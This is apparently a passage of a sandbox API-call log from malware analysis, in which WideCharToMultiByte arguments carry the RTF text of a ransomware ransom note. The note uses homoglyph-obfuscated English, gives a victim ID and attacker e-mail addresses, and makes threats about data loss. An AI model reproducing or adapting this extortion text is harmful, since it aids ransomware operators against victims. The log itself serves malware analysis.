t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 